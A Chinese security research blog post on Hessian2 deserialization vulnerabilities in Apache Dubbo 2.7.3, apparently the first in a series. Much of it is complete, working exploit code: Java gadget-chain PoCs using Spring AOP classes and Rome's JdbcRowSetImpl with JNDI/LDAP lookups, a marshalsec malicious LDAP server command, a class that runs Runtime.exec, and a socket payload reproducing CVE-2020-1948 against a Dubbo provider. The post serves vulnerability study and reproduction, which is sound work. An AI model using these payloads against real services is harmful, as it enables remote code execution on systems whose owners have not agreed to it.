Dubbo的反序列化安全问题-Hessian2

0 前言 本篇是系列文章的第一篇,主要看看Dubbo使用反序列化协议Hessian2时,存在的安全问题。文章需要RPC、Dubbo、反序列化等前提知识点,推荐先阅读和体验Dubbo以及反序列化漏洞。
Dubbo源码分析
RPC框架dubbo架构原理及使用说明
RPC 框架 Dubbo 从理解到使用(一)
【Dubbo的反序列化安全问题-Hessian2】[RPC 框架 Dubbo 从理解到使用(二)
1 反序列化协议-Hessian2 hessian2是由caucho开发的基于Binary-RPC协议实现的远程通讯库,知名Web容器Resin的也是由caucho开发的。
在java中使用hessian2进行序列化和反序列化时,通过native方法或者反射(实际也用了native方法)直接对Field进行复制操作,与某些调用setter和getter方法反序列化的方法不同。
1.1 目标类类型反序列化器 在使用hessian2进行序列化和反序列化操作时,会自动根据类对象选择序列化器和反序列化器,例如在Dubbo的jar包中,有com.alibaba.com.caucho.hessian.io.Hessian2Output类,该类有writeObject方法如下

  • com.alibaba.com.caucho.hessian.io.Hessian2Output#writeObject()
@Override public void writeObject(Object object) throws IOException { if (object == null) { writeNull(); return; }Serializer serializer; serializer = findSerializerFactory().getSerializer(object.getClass()); serializer.writeObject(object, this); }

这里的serializer对象,显然就是通过传入的object类型,找到对应的序列化器,然后再使用对应的序列化器,对object进行序列化。hessian2中可以序列化的类型与相应的序列化器和反序列化器对应关系如下
类型 序列化器 反序列化器
Collection CollectionSerializer CollectionDeserializer
Map MapSerializer MapDeserializer
Iterator IteratorSerializer IteratorDeserializer
Annotation AnnotationSerializer AnnotationDeserializer
Interface ObjectSerializer ObjectDeserializer
Array ArraySerializer ArrayDeserializer
Enumeration EnumerationSerializer EnumerationDeserializer
Enum EnumSerializer EnumDeserializer
Class ClassSerializer ClassDeserializer
默认 JavaSerializer JavaDeserializer
Throwable ThrowableSerializer
InputStream InputStreamSerializer InputStreamDeserializer
InetAddress InetAddressSerializer
可以看出,Collection、Map、Iterator、Array这些常用类型都有相应的(反)序列化器
1.2 Hessian2中的gadget起始点 前面提到针对不同类型Hessian2中有相应的(反)序列化器,添加hessian2的依赖,从com.caucho.hessian.io.Hessian2Input#readObject()开始看源代码
  • com.caucho.hessian.io.Hessian2Input#readObject(Class cl)
public Object readObject(Class cl) throws IOException{ if (cl == null || cl == Object.class) return readObject(); int tag = _offset < _length ? (_buffer[_offset++] & 0xff) : read(); switch (tag) { case 'N': {return null; } ..... // 省略 case 'H': { Deserializer reader = findSerializerFactory().getDeserializer(cl); return reader.readMap(this); }case 'M': { String type = readType(); // hessian/3bb3 if ("".equals(type)) { Deserializer reader; reader = findSerializerFactory().getDeserializer(cl); return reader.readMap(this); } else { Deserializer reader; reader = findSerializerFactory().getObjectDeserializer(type, cl); return reader.readMap(this); } } ..... // 省略 } }

这里的case中,H是HashMap的序列化标志,M是Map的序列化标志,Hessian2反序列化时,根据该标值,获取相应的反序列化器,即Deserializer,而针对不同的类型,反序列化器还有不同的处理,这里H和M都会获取到MapDeserializer,因此跟进该类的readMap方法
  • com.caucho.hessian.io.MapDeserializer#readMap(AbstractHessianInput in)
public Object readMap(AbstractHessianInput in) throws IOException { Map map; if (_type == null) map = new HashMap(); else if (_type.equals(Map.class)) map = new HashMap(); else if (_type.equals(SortedMap.class)) map = new TreeMap(); else { try { map = (Map) _ctor.newInstance(); } catch (Exception e) { throw new IOExceptionWrapper(e); } }in.addRef(map); while (! in.isEnd()) { map.put(in.readObject(), in.readObject()); } in.readEnd(); return map; }

可以看到,根据_type这个参数去选择构建哪种类型的Map类,而后通过while循环调用map.put方法将所有的key-value,传递到map中,而后返回这个创建的Map实例。如果对Commons-Collections利用链比较熟悉的话,应该会想到HashMap的利用链,在调用HashMap#put方法时,会触发HashMap#hashCode方法,并进一步调用key.hashCode()方法,由于key被设置为了TiedMapEntry的实例,因此一步一步进入Transformer调用链。而这里的map.put方法正是Hessian2的gadget起始点。在Dubbo中,虽然对Hessian2进行了一些魔改,但最终也会出现相同的调用:
Dubbo的反序列化安全问题-Hessian2
文章图片

2 Dubbo中的Hessian2漏洞利用 所用到的环境:
dubbo 2.7.3
springboot 1.2.0.RELEASE (spring version 4.1.3.RELEASE)
2.1 本地方法测试 前面以及提到了,由于hessian2协议在反序列化中调用readObject()方法时,会调用根据反序列化的Map类型创建一个新的Map对象,而后调用该对象的put方法,因而可能造成反序列化漏洞利用。这里先自己写一个类实验一下
package com.bitterz.dubbo; import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectOutput; import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput; import java.io.*; import java.util.HashMap; public class Hessian2Gadget { public static class MyHashMap extends HashMap{public V put(K key, V value) { super.put(key, value); System.out.println(111111111); try{ Runtime.getRuntime().exec("calc"); }catch (Exception e){} System.out.println(22222222); returnnull; } }public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException { MyHashMap map = new MyHashMap(); map.put("1", "1"); // hessian2的序列化 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); Hessian2ObjectOutput hessian2Output = new Hessian2ObjectOutput(byteArrayOutputStream); hessian2Output.writeObject(map); hessian2Output.flushBuffer(); byte[] bytes = byteArrayOutputStream.toByteArray(); System.out.println(new String(bytes, 0, bytes.length)); // hessian2的反序列化 ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); Hessian2ObjectInput hessian2Input = new Hessian2ObjectInput(byteArrayInputStream); HashMap o = (HashMap) hessian2Input.readObject(); o.get(null); System.out.println(o); }

我这里创建了一个MyHashMap类继承自HashMap,并重写了put方法,而后在main方法中利用hessian2对MyHashMap进行序列化和反序列化操作,执行代码后,输出结果如下
Dubbo的反序列化安全问题-Hessian2
文章图片

很明显,MyHashMap#put方法执行了两次:
  • 序列化前为了向map中添加值put了一次,所以弹出一次计算器,并输出了111和222;
  • 反序列化时,如前面所述,会调用到反序列化Map类的put方法去添加值,所以又弹出一次计算器,并输出111和222;
因此Dubbo中hessian2协议确实存在被反序列化漏洞利用的可能性,但真正的Web环境中,不可能存在MyHashMap这样的类,直接提供弹计算器的put方法:)因此还需要结合其它依赖进一步增加gadget的可利用性。
2.2 SpringPartiallyComparableAdvisorHolder Dubbo缺省依赖Spring、Javassist、netty等包,但实际开发使用中很可能用到springboot做微服务,以provider的身份提供服务,所以可以借助常用的包完成gadget的构建,常见的hessian2可用gadget主要是Resin、Rome、SpringAbstractBeanFactoryPointcutAdvisor、XBean这几个。SpringPartiallyComparableAdvisorHolder是Spring AOP中需要用到的类,所以就以这个为例子构建一下poc,代码如下
package com.bitterz.dubbo; import com.caucho.hessian.io.*; import org.apache.commons.logging.impl.NoOpLog; import com.caucho.hessian.io.SerializerFactory; import org.springframework.aop.aspectj.AbstractAspectJAdvice; import org.springframework.aop.aspectj.AspectInstanceFactory; import org.springframework.aop.aspectj.AspectJAroundAdvice; import org.springframework.aop.aspectj.AspectJPointcutAdvisor; import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory; import org.springframework.aop.target.HotSwappableTargetSource; import org.springframework.jndi.support.SimpleJndiBeanFactory; import com.sun.org.apache.xpath.internal.objects.XString; import sun.reflect.ReflectionFactory; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; public class Hessian2SpringGadget { public static class NoWriteReplaceSerializerFactory extends SerializerFactory { public NoWriteReplaceSerializerFactory() { }public Serializer getObjectSerializer(Class cl) throws HessianProtocolException { return super.getObjectSerializer(cl); }public Serializer getSerializer(Class cl) throws HessianProtocolException { Serializer serializer = super.getSerializer(cl); return (Serializer)(serializer instanceof WriteReplaceSerializer ? UnsafeSerializer.create(cl) : serializer); } }public static class Reflections{ public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws Exception{ Field field=null; Class cl = obj.getClass(); while (cl != Object.class){ try{ field = cl.getDeclaredField(fieldName); if(field!=null){ break; } } catch (Exception e){ cl = cl.getSuperclass(); } } if (field==null){ System.out.println(obj.getClass().getName()); System.out.println(fieldName); } field.setAccessible(true); field.set(obj,fieldValue); }public static T createWithoutConstructor(Class classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); }public static T createWithConstructor(Class classToInstantiate, Class constructorClass, Class[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes); objCons.setAccessible(true); Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); sc.setAccessible(true); return (T) sc.newInstance(consArgs); } }public static void main(String[] args) throws Exception { String jndiUrl = "ldap://localhost:1389/ExecTest"; SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory(); bf.setShareableResources(jndiUrl); //反序列化时BeanFactoryAspectInstanceFactory.getOrder会被调用,会触发调用SimpleJndiBeanFactory.getType->SimpleJndiBeanFactory.doGetType->SimpleJndiBeanFactory.doGetSingleton->SimpleJndiBeanFactory.lookup->JndiTemplate.lookup Reflections.setFieldValue(bf, "logger", new NoOpLog()); Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog()); //反序列化时AspectJAroundAdvice.getOrder会被调用,会触发BeanFactoryAspectInstanceFactory.getOrder AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class); Reflections.setFieldValue(aif, "beanFactory", bf); Reflections.setFieldValue(aif, "name", jndiUrl); //反序列化时AspectJPointcutAdvisor.getOrder会被调用,会触发AspectJAroundAdvice.getOrder AbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class); Reflections.setFieldValue(advice, "aspectInstanceFactory", aif); //反序列化时PartiallyComparableAdvisorHolder.toString会被调用,会触发AspectJPointcutAdvisor.getOrder AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class); Reflections.setFieldValue(advisor, "advice", advice); //反序列化时Xstring.equals会被调用,会触发PartiallyComparableAdvisorHolder.toString Class pcahCl = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder"); Object pcah = Reflections.createWithoutConstructor(pcahCl); Reflections.setFieldValue(pcah, "advisor", advisor); //反序列化时HotSwappableTargetSource.equals会被调用,触发Xstring.equals HotSwappableTargetSource v1 = new HotSwappableTargetSource(pcah); HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("xxx")); //反序列化时HashMap.putVal会被调用,触发HotSwappableTargetSource.equals。这里没有直接使用HashMap.put设置值,直接put会在本地触发利用链,所以使用marshalsec使用了比较特殊的处理方式。 HashMap s = new HashMap<>(); Reflections.setFieldValue(s, "size", 2); Class nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); // 避免序列化时触发gadget Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); Reflections.setFieldValue(s, "table", tbl); // hessian2序列化 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream); NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory(); sf.setAllowNonSerializable(true); hessian2Output.setSerializerFactory(sf); hessian2Output.writeObject(s); hessian2Output.flushBuffer(); byte[] bytes = byteArrayOutputStream.toByteArray(); // hessian2反序列化 ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream); HashMap o = (HashMap) hessian2Input.readObject(); } }

还需要用marshalsec开一个恶意ldap服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#ExecTest

其中ExecTest.class由如下代码编译而成
import java.io.IOException; public class ExecTest { public ExecTest() throws IOException { final Process process = Runtime.getRuntime().exec("calc"); } }

之后用python在ExecTest.class文件目录中开启文件下载服务
py -3 -m http.server 8090

运行前面的gadget,ldap服务收到请求,并让客户端访问8090端口下载.class文件,并执行该类的无参构造方法,弹出计算器
Dubbo的反序列化安全问题-Hessian2
文章图片

前面的gadget在注释中已经写明了具体的触发路径,就不做详细的展开了,可以将ExecTest.java中弹计算器的代码替换成new java.io.IOException().printStackTrace(); ,再跟踪调用栈即可。这个gadget在springboot下无法复现成功,可能是springboot中aop相关类有一些修改
2.3 Rome (CVE-2020-1948复现) Rome是java中实现RSS订阅的包,依赖如下
com.rometools rome 1.8.0

这里复现CVE-2020-1948(Apache Dubbo Provider 反序列化)
  • 首先下载zookeeper
wget http://archive.apache.org/dist/zookeeper/zookeeper-3.3.3/zookeeper-3.3.3.tar.gz tar zxvf zookeeper-3.3.3.tar.gz cd zookeeper-3.3.3 cp conf/zoo_sample.cfg conf/zoo.cfg

  • 配置
vim conf/zoo.cfg

# The number of milliseconds of each tick tickTime=2000 # The number of ticks that the initial # synchronization phase can take initLimit=10 # The number of ticks that can pass between # sending a request and getting an acknowledgement syncLimit=5 # the directory where the snapshot is stored. dataDir=/绝对路径/zookeeper-3.3.3/data # the port at which the clients will connect clientPort=2181

  • 修改绝对路径,在data目录下放置一个myid文件
mkdir data touch data/myid

  • 启动zookeeper
cd /private/var/tmp/zookeeper-3.3.3/bin ./zkServer.sh start

  • 安装dubbo-samples
git clone https://github.com/apache/dubbo-samples.git cd dubbo-samples/dubbo-samples-api

  • 修改dubbo-samples/dubbo-samples-api/pom.xml
4.0.0org.example dubbomytestpom 1.0-SNAPSHOT org.apache.maven.plugins maven-compiler-plugin 8 8 1.8 1.8 2.7.6 4.12 0.30.0 1.2.0 3.7.0 2.21.0 ${project.artifactId}:${dubbo.version} openjdk:8 20880 2181 org.apache.dubbo.samples.provider.Application org.apache.dubbo dubbo 2.7.3 org.apache.dubbo dubbo-common 2.7.3 org.apache.dubbo dubbo-dependencies-zookeeper 2.7.3 pom com.rometools rome 1.8.0 junit junit ${junit.version} test

  • 编译启动
mvn clean package 或者直接在idea里面启动provider/Application.java

注意修改zookeeper和dubbo的端口,启动后输出dubbo service started即表示dubbo已启动
使用的payload如下
import com.caucho.hessian.io.Hessian2Output; import com.rometools.rome.feed.impl.EqualsBean; import com.rometools.rome.feed.impl.ToStringBean; import com.sun.rowset.JdbcRowSetImpl; import java.io.ByteArrayOutputStream; import java.io.OutputStream; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.net.Socket; import java.sql.SQLException; import java.util.HashMap; import java.util.Random; import org.apache.dubbo.common.io.Bytes; import org.apache.dubbo.common.serialize.Cleanable; import com.caucho.hessian.io.*; import sun.reflect.ReflectionFactory; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; public class Hessian2RomeGadget { public static class NoWriteReplaceSerializerFactory extends SerializerFactory { public NoWriteReplaceSerializerFactory() { }public Serializer getObjectSerializer(Class cl) throws HessianProtocolException { return super.getObjectSerializer(cl); }public Serializer getSerializer(Class cl) throws HessianProtocolException { Serializer serializer = super.getSerializer(cl); return (Serializer)(serializer instanceof WriteReplaceSerializer ? UnsafeSerializer.create(cl) : serializer); } }public static class Reflections{ public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws Exception{ Field field=null; Class cl = obj.getClass(); while (cl != Object.class){ try{ field = cl.getDeclaredField(fieldName); if(field!=null){ break; } } catch (Exception e){ cl = cl.getSuperclass(); } } if (field==null){ System.out.println(obj.getClass().getName()); System.out.println(fieldName); } field.setAccessible(true); field.set(obj,fieldValue); }public static T createWithoutConstructor(Class classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); }public static T createWithConstructor(Class classToInstantiate, Class constructorClass, Class[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes); objCons.setAccessible(true); Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); sc.setAccessible(true); return (T) sc.newInstance(consArgs); } }public static void main(String[] args) throws Exception { JdbcRowSetImpl rs = new JdbcRowSetImpl(); //todo 此处填写ldap url rs.setDataSourceName("ldap://127.0.0.1:1389/ExecTest"); rs.setMatchColumn("foo"); Reflections.setFieldValue(rs, "listeners",null); ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs); EqualsBean root = new EqualsBean(ToStringBean.class, item); HashMap s = new HashMap<>(); Reflections.setFieldValue(s, "size", 2); Class nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null)); Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null)); Reflections.setFieldValue(s, "table", tbl); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); // header. byte[] header = new byte[16]; // set magic number. Bytes.short2bytes((short) 0xdabb, header); // set request and serialization flag. header[2] = (byte) ((byte) 0x80 | 0x20 | 2); // set request id. Bytes.long2bytes(new Random().nextInt(100000000), header, 4); ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream(); Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream); NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory(); sf.setAllowNonSerializable(true); out.setSerializerFactory(sf); out.writeObject(s); out.flushBuffer(); if (out instanceof Cleanable) { ((Cleanable) out).cleanup(); }Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12); byteArrayOutputStream.write(header); byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray()); byte[] bytes = byteArrayOutputStream.toByteArray(); //todo 此处填写被攻击的dubbo服务提供者地址和端口 Socket socket = new Socket("127.0.0.1", 20880); OutputStream outputStream = socket.getOutputStream(); outputStream.write(bytes); outputStream.flush(); outputStream.close(); } }

和前面2.2一样,用marshalsec开启jndi服务,再用python开个文件下载服务,然后执行payload,向dubbo发送恶意数据,而后在dubbo provider中反序列化触发相应的gadget,实现rce,效果如下
Dubbo的反序列化安全问题-Hessian2
文章图片

该漏洞在Dubbo 2.7.8中被修复,通过添加黑名单的形式过滤了关键类
总结 dubbo中的hessian2反序列化时,处理map类型的对象会调用map.get方法,而get方法在HashMap的实现中会设计到hashCode、equals方法的调用,从而给某些危险的类方法调用造成了可乘之机。而dubbo使用hessian2作为默认的反序列化协议,容易被发起反序列化漏洞攻击,应当使用白名单过滤反序列化类名。另外有大佬提到,使用黑名单的情况下,对象被反序列化后,调用对象的其它方法,也可能造成威胁http://rui0.cn/archives/1338
这一篇是Dubbo反序列化研究记录的开始,后面还将针对
  • Dubbo 2.x下的kryo、fst反序列化漏洞进行学习和研究(CVE-2021-25641)
  • 基于kryo的akka协议在flink中的漏洞进行挖掘(https://bcs.qianxin.com/live/show.php?itemid=33)
  • 以及Dubbo 3.x下的triple协议产生的安全漏洞进行挖掘(https://bcs.qianxin.com/live/show.php?itemid=33)
  • 漏洞复现:CVE-2021-30180:Apache Dubbo YAML 反序列化漏洞、CVE-2021-30181:Apache Dubbo Nashorn 脚本远程代码执行漏洞、CVE-2021-30179:Apache Dubbo Generic filter 远程代码执行漏洞、CVE-2021-32824:Apache Dubbo Telnet handler 远程代码执行漏洞复现

    推荐阅读